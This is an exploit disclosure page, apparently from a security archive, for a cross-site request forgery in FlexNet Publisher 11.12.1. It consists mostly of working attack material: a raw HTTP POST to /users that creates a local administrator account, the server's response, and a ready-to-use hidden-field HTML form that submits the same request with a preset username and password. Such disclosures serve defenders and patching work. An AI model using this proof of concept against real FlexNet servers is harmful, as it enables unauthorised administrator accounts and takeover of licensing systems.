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FlexNet Publisher 11.12.1 Cross Site Request Forgery

🗓️ 31 Jan 2020 00:00:00Reported by Ismail TasdelenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 167 Views

FlexNet Publisher 11.12.1 Cross Site Request Forgery - Add Local Admi

Related
Code
`# Exploit Title: FlexNet Publisher 11.12.1 - Cross-Site Request Forgery (Add Local Admin)  
# Date: 2019-12-29   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.flexerasoftware.com/  
# Software : FlexNet Publisher  
# Product Version: v11.12.1  
# Product : https://www.flexerasoftware.com/monetize/products/flexnet-licensing.html  
# Product Version : https://helpnet.flexerasoftware.com/eol/flexnet-publisher.htm   
# Vulernability Type : Cross-Site Request Forgery (Add Local Admin)  
# Vulenrability : Cross-Site Request Forgery  
# Reference : https://community.flexera.com/t5/FlexNet-Publisher-Knowledge-Base/CVE-2019-8962-remediated-in-FlexNet-Publisher/ta-p/131062  
# CVE : N/A  
  
HTTP Request :  
  
POST /users HTTP/1.1  
Host: SERVER:8888  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://SERVER:8888/users?event=create&licenseTab=  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 197  
Connection: close  
Cookie: Webstation-Locale=en-US; sess_lmgrd=32CFC53815147D5362ACAAF100000001; GUEST=1; UID=GUEST; FL=1; FA=1; DM=; user_type_lmgrd=0  
Upgrade-Insecure-Requests: 1  
  
licenseTab=&selected=&userType=local-admin&userName=ISMAILTASDELEN&firstName=Ismail&lastName=Tasdelen&password2=Test12345&confirm=Test12345&accountType=admin&checksum=1d00c20815e84c31&Create=Create  
  
HTTP Response :  
  
HTTP/1.1 200 OK  
Date: Sun, 29 Dec 2019 08:38:14 GMT  
Server: Apache  
X-Frame-Options: SAMEORIGIN  
Cache-Control: no-cache, no-store  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 14434  
  
CSRF HTML PoC :  
  
<html>  
<!-- CSRF PoC - generated by Burp Suite Professional -->  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://SERVER:8888/users" method="POST">  
<input type="hidden" name="licenseTab" value="" />  
<input type="hidden" name="selected" value="" />  
<input type="hidden" name="userType" value="local-admin" />  
<input type="hidden" name="userName" value="ISMAILTASDELEN" />  
<input type="hidden" name="firstName" value="Ismail" />  
<input type="hidden" name="lastName" value="Tasdelen" />  
<input type="hidden" name="password2" value="Test12345" />  
<input type="hidden" name="confirm" value="Test12345" />  
<input type="hidden" name="accountType" value="admin" />  
<input type="hidden" name="checksum" value="1d00c20815e84c31" />  
<input type="hidden" name="Create" value="Create" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
`

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